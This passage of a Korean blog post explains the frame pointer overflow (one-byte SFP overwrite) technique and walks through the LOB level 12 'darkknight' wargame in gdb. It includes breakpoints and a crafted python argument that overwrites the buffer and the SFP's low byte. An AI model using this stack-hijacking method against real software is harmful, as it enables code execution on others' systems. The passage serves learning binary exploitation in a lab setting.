&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;433&quot; data-origin-height=&quot;463&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cprMhb/btsEEzRdGWt/tF4DQ2Gq9MWP4qs95mr0t0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cprMhb/btsEEzRdGWt/tF4DQ2Gq9MWP4qs95mr0t0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cprMhb/btsEEzRdGWt/tF4DQ2Gq9MWP4qs95mr0t0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcprMhb%2FbtsEEzRdGWt%2FtF4DQ2Gq9MWP4qs95mr0t0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;433&quot; height=&quot;463&quot; data-origin-width=&quot;433&quot; data-origin-height=&quot;463&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1byte가&amp;nbsp;overflow되어&amp;nbsp;SFP&amp;nbsp;부분의&amp;nbsp;1byte를&amp;nbsp;변조할&amp;nbsp;수&amp;nbsp;있다면&amp;nbsp;위와&amp;nbsp;같이&amp;nbsp;SFP의&amp;nbsp;하위&amp;nbsp;1byte를&amp;nbsp;&quot;a0&quot;라고&amp;nbsp;변조할&amp;nbsp;수&amp;nbsp;있다.&lt;br /&gt;&lt;br /&gt;여기서 주의할 점은 sub 함수의 SFP 부분의 1byte를 변조할 때 최종적으로 이동하고자 하는 주소에서 4를 뺀 주소를 입력해줘야한다.&lt;br /&gt;&lt;br /&gt;그 이유는 leave 명령의 pop ebp부분 때문인데, 자세한 원리는 아래의 과정을 따라가며 이해해보는 것이 좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;471&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDt9oS/btsEEGbzfhC/rYjo6dqfCfQe5mgxMwmCx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDt9oS/btsEEGbzfhC/rYjo6dqfCfQe5mgxMwmCx0/img.png&quot; data-alt=&quot;mov esp, ebp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDt9oS/btsEEGbzfhC/rYjo6dqfCfQe5mgxMwmCx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDt9oS%2FbtsEEGbzfhC%2FrYjo6dqfCfQe5mgxMwmCx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1078&quot; height=&quot;471&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;471&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;mov esp, ebp&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1099&quot; data-origin-height=&quot;471&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/P2dFR/btsEF4CsE5X/rSSlrsAw5JSzmeKTjpdEv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/P2dFR/btsEF4CsE5X/rSSlrsAw5JSzmeKTjpdEv0/img.png&quot; data-alt=&quot;pop ebp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/P2dFR/btsEF4CsE5X/rSSlrsAw5JSzmeKTjpdEv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FP2dFR%2FbtsEF4CsE5X%2FrSSlrsAw5JSzmeKTjpdEv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1099&quot; height=&quot;471&quot; data-origin-width=&quot;1099&quot; data-origin-height=&quot;471&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;pop ebp&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이제&amp;nbsp;sub&amp;nbsp;함수에서&amp;nbsp;함수&amp;nbsp;에필로그&amp;nbsp;과정이&amp;nbsp;시작되고,&amp;nbsp;leave&amp;nbsp;명령이&amp;nbsp;실행되는데,&amp;nbsp;leave&amp;nbsp;명령은&amp;nbsp;&quot;mov&amp;nbsp;esp,&amp;nbsp;ebp&quot;,&amp;nbsp;&quot;pop&amp;nbsp;ebp&quot;와&amp;nbsp;같다고&amp;nbsp;했다.&lt;br /&gt;&lt;br /&gt;그러면 원래 ebp가 있던 위치는 SFP 부분인데 mov esp, ebp 명령으로 인해 esp가 ebp와 같은 곳에 위치하게 되므로 esp와 ebp 모두 sub 함수의 SFP 부분을 가르키게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이 상태에서 pop ebp 명령으로 인해 SFP 부분의 값을 ebp에 저장하고, esp는 RET 부분을 가리키게 된다.&lt;br /&gt;&lt;br /&gt;그러면 leave 명령까지 수행된 이 시점에 원래대로라면 main 함수의 ebp 주소를 담고 있어야 할 sub 함수의 SFP 부분이 조작된 0xbffffaa0이라는 주소를 담고 있었기 때문에 현재 ebp에는 main의 ebp 주소가 아닌 0xbffffaa0이라는 주소가 저장됨으로써 ebp는 0xbffffaa0 주소를 가리키고, esp는 RET 부분을 가리킨다.&lt;br /&gt;&lt;br /&gt;이 상태에서 ret 명령이 수행되면 pop eip 명령에 의해 sub 함수의 RET 부분의 값이 eip에 담기게 되는데, RET 부분은 변조되지 않았으므로 jmp eip 명령에 의해 main 함수에서 sub 함수를 호출한 후 실행될 명령어의 위치로 실행 흐름이 바뀐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1166&quot; data-origin-height=&quot;471&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQigev/btsEEJeV4Up/MqARVWCJBS4KqjHBPzTTc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQigev/btsEEJeV4Up/MqARVWCJBS4KqjHBPzTTc1/img.png&quot; data-alt=&quot;mov esp, ebp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQigev/btsEEJeV4Up/MqARVWCJBS4KqjHBPzTTc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQigev%2FbtsEEJeV4Up%2FMqARVWCJBS4KqjHBPzTTc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1166&quot; height=&quot;471&quot; data-origin-width=&quot;1166&quot; data-origin-height=&quot;471&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;mov esp, ebp&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;471&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/csStIG/btsEGLCEQIY/dbEUnFQQDFfsVNPd1QIRXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/csStIG/btsEGLCEQIY/dbEUnFQQDFfsVNPd1QIRXK/img.png&quot; data-alt=&quot;pop ebp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/csStIG/btsEGLCEQIY/dbEUnFQQDFfsVNPd1QIRXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcsStIG%2FbtsEGLCEQIY%2FdbEUnFQQDFfsVNPd1QIRXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1202&quot; height=&quot;471&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;471&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;pop ebp&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이제&amp;nbsp;sub&amp;nbsp;함수의&amp;nbsp;에필로그가&amp;nbsp;끝난&amp;nbsp;후&amp;nbsp;main&amp;nbsp;함수로&amp;nbsp;복귀했으니&amp;nbsp;main&amp;nbsp;함수의&amp;nbsp;동작이&amp;nbsp;다&amp;nbsp;수행된&amp;nbsp;다음&amp;nbsp;main&amp;nbsp;함수의&amp;nbsp;에필로그&amp;nbsp;과정이&amp;nbsp;수행된다.&lt;br /&gt;&lt;br /&gt;현재&amp;nbsp;ebp는&amp;nbsp;원래&amp;nbsp;main&amp;nbsp;함수의&amp;nbsp;ebp&amp;nbsp;주소에&amp;nbsp;위치해&amp;nbsp;있는게&amp;nbsp;아니라&amp;nbsp;sub&amp;nbsp;함수의&amp;nbsp;에필로그&amp;nbsp;과정에서&amp;nbsp;조작한&amp;nbsp;0xbffffaa0&amp;nbsp;위치에&amp;nbsp;있다.&lt;br /&gt;&lt;br /&gt;이&amp;nbsp;상태에서&amp;nbsp;main&amp;nbsp;함수의&amp;nbsp;에필로그&amp;nbsp;과정&amp;nbsp;중&amp;nbsp;leave&amp;nbsp;명령이&amp;nbsp;수행되면서&amp;nbsp;esp가&amp;nbsp;ebp의&amp;nbsp;위치와&amp;nbsp;같게&amp;nbsp;이동되므로&amp;nbsp;esp와&amp;nbsp;ebp&amp;nbsp;모두&amp;nbsp;0xbffffaa0&amp;nbsp;주소에&amp;nbsp;위치하게&amp;nbsp;되고,&amp;nbsp;그&amp;nbsp;상태에서&amp;nbsp;4byte&amp;nbsp;값을&amp;nbsp;읽어&amp;nbsp;ebp에&amp;nbsp;저장하므로&amp;nbsp;0xbffffaa0&amp;nbsp;주소에서&amp;nbsp;4byte만큼의&amp;nbsp;값을&amp;nbsp;ebp에&amp;nbsp;저장한&amp;nbsp;후&amp;nbsp;esp는&amp;nbsp;0xbffffaa4를&amp;nbsp;가리키게&amp;nbsp;된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1707614694374&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;참고) 여기서 이제 ebp의 역할은 다 했다. 이후 ret 명령을 수행할 때는 esp만 중요하기 때문에 ebp는 제 역할을 다 했다.&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1707614770074&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;참고) 여기서 이전에 언급했던 &quot;SFP 부분의 1byte를 변조할 때 이동하고자 하는 주소에서
4를 뺀 주소로 변조해야 하는 이유가 leave 명령의 pop ebp 부분 때문&quot;이라는 것에 대한 이유가 설명된다.

ret 명령에도 pop eip가 있는데 leave 명령에서 pop ebp를 함으로써 esp+4 연산을 하기 때문이다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1178&quot; data-origin-height=&quot;471&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/miEOm/btsEGi1HGOu/SJmjt3OouwUvun8srL7Fuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/miEOm/btsEGi1HGOu/SJmjt3OouwUvun8srL7Fuk/img.png&quot; data-alt=&quot;mov eip&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/miEOm/btsEGi1HGOu/SJmjt3OouwUvun8srL7Fuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmiEOm%2FbtsEGi1HGOu%2FSJmjt3OouwUvun8srL7Fuk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1178&quot; height=&quot;471&quot; data-origin-width=&quot;1178&quot; data-origin-height=&quot;471&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;mov eip&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이어서 ret 명령이 수행되면서 0xbffffaa4 주소에 있는 값을 eip에 담고, eip에 담긴 주소로 실행 흐름이 바뀐다.&lt;br /&gt;&lt;br /&gt;그런데 여기서 0xbffffaa4 주소에 있는 값이 셸코드 또는 취약한 함수의 주소라면 ret 명령이 수행되고 나서 자동으로 해커가 원하는 동작이 수행될 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1707746222312&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;FPO 기법을 간단히 말하자면

1. sub 함수의 에필로그에서 leave 명령은 ebp에 sfp의 값을 담고, ret 명령으로 main으로 돌아간다.

2.main 함수의 에필로그에서 leave 명령은 sfp에 담았던 주소에 있는 값을 ebp에 넣는데 이는 그저 esp+4만 할 뿐 의미가 없고
이어서 ret 명령이 실행될 때 스택에 있는 값(4byte)에 해당하는 위치로 jump 한다.&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;lob 12 문제를 통해 FPO 기법 이해하기&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;408&quot; data-origin-height=&quot;54&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HXlJO/btsEFeezdS6/LSeskFsAKtFD7huZ2scf2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HXlJO/btsEFeezdS6/LSeskFsAKtFD7huZ2scf2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HXlJO/btsEFeezdS6/LSeskFsAKtFD7huZ2scf2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHXlJO%2FbtsEFeezdS6%2FLSeskFsAKtFD7huZ2scf2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;408&quot; height=&quot;54&quot; data-origin-width=&quot;408&quot; data-origin-height=&quot;54&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;506&quot; data-origin-height=&quot;811&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3fLyw/btsELs96Tby/dEErKq33auLMEyRvV9qrk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3fLyw/btsELs96Tby/dEErKq33auLMEyRvV9qrk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3fLyw/btsELs96Tby/dEErKq33auLMEyRvV9qrk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3fLyw%2FbtsELs96Tby%2FdEErKq33auLMEyRvV9qrk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;506&quot; height=&quot;811&quot; data-origin-width=&quot;506&quot; data-origin-height=&quot;811&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;491&quot; data-origin-height=&quot;198&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cqXNbQ/btsEHqrwYJA/zeo6FRXsZbc9S9gzK5NKnk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cqXNbQ/btsEHqrwYJA/zeo6FRXsZbc9S9gzK5NKnk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cqXNbQ/btsEHqrwYJA/zeo6FRXsZbc9S9gzK5NKnk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcqXNbQ%2FbtsEHqrwYJA%2Fzeo6FRXsZbc9S9gzK5NKnk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;491&quot; height=&quot;198&quot; data-origin-width=&quot;491&quot; data-origin-height=&quot;198&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1707617279258&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cp darkknight darkknight2
gdb -q darkknight2

set disassembly-flavor intel

disas problem_child
disas main

b * 0x8048450
b * 0x8048469
b * 0x804846a
b * 0x80484a1
b * 0x80484a2

r `python -c 'print &quot;\xbf\xbf\xbf\xbf&quot; * 10 + &quot;\xa0&quot;'`&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;먼저 gdb로 디버깅을 해보기 위해 darkknight 파일을 darkknight2 파일로 복사한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 gdb로 열어 problem_child() 함수의 strncpy() 함수를 호출하는 부분과 함수 에필로그 부분에 bp를 걸고, main() 함수의 함수 에필로그 부분에 bp를 건 후 인자를 주어 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위의 커맨드라인 인자로 넘어가는 값은 테스트용으로 0xbfbfbfbf 주소를 10개하여 총 40byte로 buffer[40] 공간에 덮어쓸 값이고, 0xa0은 SFP 부분에 덮어쓸 1byte 값이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;467&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bty2zt/btsELtgS4Nh/9TCm2f0EPC1lD1XrzjWqbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bty2zt/btsELtgS4Nh/9TCm2f0EPC1lD1XrzjWqbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bty2zt/btsELtgS4Nh/9TCm2f0EPC1lD1XrzjWqbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbty2zt%2FbtsELtgS4Nh%2F9TCm2f0EPC1lD1XrzjWqbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;467&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;467&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;실행하자마자 strncpy() 함수를 호출하는 부분에 설치된 bp에 걸려있기 때문에 현재 스택에서 strncpy() 함수의 인자 3개를 보면 buffer[40]의 주소는 0xbffffc74이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;strncpy() 함수를 호출하면 0xbf 값으로 buffer[40]의 공간을 40byte만큼 채우고, SFP 부분의 1byte를 0xa0으로 덮어썼다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;376&quot; data-origin-height=&quot;272&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/C7H4S/btsEKDw8GMz/kYSM1i2uXlOtKce92y5DYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/C7H4S/btsEKDw8GMz/kYSM1i2uXlOtKce92y5DYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/C7H4S/btsEKDw8GMz/kYSM1i2uXlOtKce92y5DYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FC7H4S%2FbtsEKDw8GMz%2FkYSM1i2uXlOtKce92y5DYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;376&quot; height=&quot;272&quot; data-origin-width=&quot;376&quot; data-origin-height=&quot;272&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;376&quot; data-origin-height=&quot;217&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b0EPo5/btsEED6ZncT/zV4UbU0Io0MXsK6bxu6oP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b0EPo5/btsEED6ZncT/zV4UbU0Io0MXsK6bxu6oP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b0EPo5/btsEED6ZncT/zV4UbU0Io0MXsK6bxu6oP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb0EPo5%2FbtsEED6ZncT%2FzV4UbU0Io0MXsK6bxu6oP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;376&quot; height=&quot;217&quot; data-origin-width=&quot;376&quot; data-origin-height=&quot;217&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;605&quot; data-origin-height=&quot;144&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xbq9r/btsEFg4upxP/2ffCnZKNrf057rfqlrJs81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xbq9r/btsEFg4upxP/2ffCnZKNrf057rfqlrJs81/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xbq9r/btsEFg4upxP/2ffCnZKNrf057rfqlrJs81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fxbq9r%2FbtsEFg4upxP%2F2ffCnZKNrf057rfqlrJs81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;605&quot; height=&quot;144&quot; data-origin-width=&quot;605&quot; data-origin-height=&quot;144&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그 다음 bp가 설치된 곳까지 실행하면 0x8048469 주소인데 이 주소는 problem_child() 함수의 leave 명령을 실행하는 주소이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;leave 명령을 수행하기 전 EBP와 ESP의 값과&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;leave 명령을 수행한 후 EBP와 ESP의 값은 다른 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고) leave 명령의 동작 원리는 mov esp, ebp, pop ebp이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위의 사진에서 esp와 ebp 의 값이 같은 이유는 우연의 일치이며, ebp에는 변조된 주소, esp는 problem_child() 함수 내 RET 부분의 주소를 담고 있는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;즉, 변조된 주소가 우연히 problem_child() 함수 내 RET 부분의 주소와 동일한 것 뿐이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;355&quot; data-origin-height=&quot;251&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cleSQH/btsEFRpM6BJ/mfewzkYykicY3Zba84Chqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cleSQH/btsEFRpM6BJ/mfewzkYykicY3Zba84Chqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cleSQH/btsEFRpM6BJ/mfewzkYykicY3Zba84Chqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcleSQH%2FbtsEFRpM6BJ%2FmfewzkYykicY3Zba84Chqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 